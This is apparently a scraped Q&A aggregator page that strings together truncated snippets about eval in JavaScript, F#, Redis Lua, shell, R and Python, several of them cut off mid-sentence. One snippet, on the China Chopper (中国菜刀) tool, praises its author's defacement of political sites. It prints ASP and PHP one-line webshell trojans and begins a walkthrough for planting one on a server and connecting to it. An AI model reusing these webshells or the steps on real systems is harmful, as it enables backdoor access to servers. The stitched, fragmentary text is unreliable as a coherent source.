eval

Why do people say that javascript eval() is evil but you get no objections against setTimeout and setInterval etc?

心已入冬 提交于 2019-11-29 06:11:13
if I am not mistaken eval executes valid code in a given string eval("alert('hey')"); and setTimeout("alert('hey')",1000); does just about the same thing, only with a timer. is set timeout just as risky as eval? I'd say you hear the same objections. setTimeout (with string and not function parameters) is pretty much the same as eval. If possible, setTimeout(function(){ alert ("hey") ; }, 1000); Because when people say "eval", they mean "eval and any function that is more or less equivalent to eval", but the former is much shorter to say. So the answer to your question is yes, it is as risky.

F# equivalent to Eval

你。 提交于 2019-11-29 06:05:43
Is there an F# equivalent to eval? My intent is to have my app load a small code sample from a file and essentially let file = "c:\mysample" let sample = loadFromFile file let results = eval(sample) I am new to F# and trying to figure out some of the limitations before I apply it to a project. Thank you Tomas Petricek There is no function that would allow you to do this directly. However, when you want to compile an F# source file programatically, you can invoke the F# compiler from your application. The easiest way to do this is to use F# CodeDOM provider, which is available as part of the F#

Redis-学-02-Redis脚本(Lua)

只谈情不闲聊 提交于 2019-11-29 05:45:35
文章目录 Redis-学-02-Redis脚本(Lua) 语法 Redis-学-02-Redis脚本(Lua) Redis 脚本使用 Lua 解释器来执行脚本。Redis2.6 版本通过内嵌支持 Lua 环境。执行脚本的常用命令为 EVAL。 语法 Eval 命令基本语法如下: redis 127.0.0.1:6379> EVAL script numkeys key [key ...] arg [arg ...] 参数说明: script 是一段 Lua5.1 脚本程序。脚本不必(也不应该)定义为一个 Lua 函数。 numkeys:指定键名参数个数 key [key …]:从 EVAL 的第三个参数开始算起,表示在脚本中所用到的那些 Redis 键(key),这些键名参数可以在 Lua 中通过全局变量 KEYS 数组,用 1 为基址的形式访问( KEYS[1] , KEYS[2] ,以此类推)。 arg [arg …]: 附加参数,在 Lua 中通过全局变量 ARGV 数组访问,访问的形式和 KEYS 变量类似( ARGV[1] 、 ARGV[2] ,诸如此类)。 无参数: 127.0.0.1:6379> eval "return 'helo'" 0 "helo" 127.0.0.1:6379> 一个参数: 127.0.0.1:6379> eval "if KEYS[1] ==

Redis Lua脚本

…衆ロ難τιáo~ 提交于 2019-11-29 05:44:45
1 介绍 Redis自2.6.0加入了Lua脚本相关的命令,EVAL, EVALSHA, SCRIPT EXISTS, SCRIPT FLUSH, SCRIPT KILL, SCRIPT LOAD,自3.2.0加入了Lua脚本的调试功能和命令。 Lua脚本可以运行在任何平台上,也可以嵌入到大多数语言中,来扩展其功能。Lua脚本是用C语言写的,体积很小,运行速度很快。 使用Redis Lua脚本功能,用户可以向服务器发送Lua脚本来执行自定义动作,获取脚本的相应数据。Redis服务器会单线程原子性执行Lua脚本,保证Lua脚本在执行过程中不会被任意其他请求打断。 生产环境中,推荐使用EVALSHA,相较于EVAL的每次发送脚本主体、占用带宽,EVALSHA会更高效。 使用Lua脚本的好处: 1) 减少网络开销:将脚本发送到服务端,在服务端进行计算,并将结果返回客户端,避免了传递大量数据。 2) 原子性的操作:Redis会将整个脚本作为一个整体执行,中间不会被其他命令插入,因此在编写脚本的过程中,无需使用事物 3) 代码复用 使用Lua脚本需注意的问题: 1) 单线程执行。所有Lua命令都在同一个Lua解释器中执行,当一个脚本执行时,其他脚本或Redis命令都不能执行。如果脚本执行慢,会比较麻烦。 2) 写纯函数脚本 3)

shell eval命令

佐手、 提交于 2019-11-29 04:12:18
1. eval command-line 其中 command - line 是在终端上键入的一条普通命令行。 然而当在它前面放上 eval 时,其结果是 shell 在执行命令行之前扫描它两次。 如: pipe="|" eval ls $pipe wc -l shell 第 1 次扫描命令行时,它替换出 pipe 的值|,接着 eval 使它再次扫描命令行,这时 shell 把|作为管道符号了。 如果变量中包含任何需要 shell 直接在命令行中看到的字符(不是替换的结果),就可以使用 eval 。命令行结束符(; | & ), I / o 重定向符( < > )和引号就属于对 shell 具有特殊意义的符号,必须直接出现在命令行中。 2. eval echo \$$# 取得最后一个参数 如: cat last eval echo \$$# ./last one two three four four 第一遍扫描后, shell 把反斜杠去掉了。当 shell 再次扫描该行时,它替换了 $4 的值,并执行 echo 命令 3. 以下示意如何用 eval 命令创建指向变量的“指针”: x=100 ptrx=x eval echo \$$ptrx 指向 ptrx ,用这里的方法可以理解 b 中的例子 100 打印 100 eval $ptrx=50 将 50 存到 ptrx

How do I safely “eval” user code in a webpage?

浪子不回头ぞ 提交于 2019-11-29 03:56:17
I'm working on a webapp to teach programming concepts. Webpages have some text about a programming concept, then let the user type in javascript code into a text editor window to try to answer a programming problem. When the user clicks "submit", I analyse the text they've typed to see if they have solved the problem. For example, I ask them to "write a function named f that adds three to its argument". Here's what I'm doing to analyse the user's text: Run JSLint on the text with strict settings, in particular without assuming browser or console functions. If there are any errors, show the

Assigning and removing objects in a loop: eval(parse(paste(

六眼飞鱼酱① 提交于 2019-11-29 02:46:47
I am looking to assign objects in a loop. I've read that some form of eval(parse( is what I need to perform this, but I'm running into errors listing invalid text or no such file or directory. Below is sample code of generally what I'm attempting to do: x <- array(seq(1,18,by=1),dim=c(3,2,3)) for (i in 1:length(x[1,1,])) { eval(parse(paste(letters[i],"<-mean(x[,,",i,"])",sep="") } And when I'm finished using these objects, I would like to remove them (the actual objects are very large and cause memory problems later on...) for (i in 1:length(x[1,1,])) eval(parse(paste("rm(",letters[i],")",sep=

Why is there a length limit to python's eval?

痞子三分冷 提交于 2019-11-29 02:28:32
问题 I'm not advocating that this would ever be a good idea, but I've found that you can crash Python (2.7 and 3.2 checked) by running eval on a large enough input string: def kill_python(N): S = '+'.join((str(n) for n in xrange(N))) return eval(S) On my computer S can be generated just fine, but for values of approximately N>74900 , Python will fail with Segmentation fault (core dumped) . Is there a limit to the length of string (or parse tree) that the interpreter can handle? Note : I don't need

中国菜刀连接一句话木马

烈酒焚心 提交于 2019-11-29 02:24:55
中国菜刀的由来: 说起菜刀,就不得不提起菜刀的作者,作者是一个退伍军人,生长在一个贫穷的农村,据说初中也没读完,英语更是不咋地,但他却自学掌握了C++/J2ME/PHP/JSP/ASP.NET等等十数种计算机语言,当初在六七年前台湾闹独立的时候,他在国民党和民进党的网站上留下了“只有一个中国”的黑页,一举成名。 中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理! 一句话 木马 短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。 常用一句话木马如下: asp一句话木马:    <%execute(request("value"))%> php一句话木马:    <?php @eval($_POST[value]);?> 下面是通过php一句话木马来连接服务器。操作流程如下: 前提准备条件: 1.搭建php+mysql环境,我用的是phpstudy。 2.中国菜刀软件。 3.php一句话木马。 代码为:<?php @eval($_POST['test']);?> 文件名为one.php。 代码意思是:通过post木马程序来实现木马的植入,eval()函数把字符串按照PHP代码来计算。该字符串必须是合法的PHP代码,且必须以分号结尾。如果没有在代码字符串中调用return语句,则返回NULL

Python: Way to speed up a repeatedly executed eval statement?

对着背影说爱祢 提交于 2019-11-29 01:24:33
In my code, I'm using eval to evaluate a string expression given by the user. Is there a way to compile or otherwise speed up this statement? import math import random result_count = 100000 expression = "math.sin(v['x']) * v['y']" variable = dict() variable['x'] = [random.random() for _ in xrange(result_count)] variable['y'] = [random.random() for _ in xrange(result_count)] # optimize anything below this line result = [0] * result_count print 'Evaluating %d instances of the given expression:' % result_count print expression v = dict() for index in xrange(result_count): for name in variable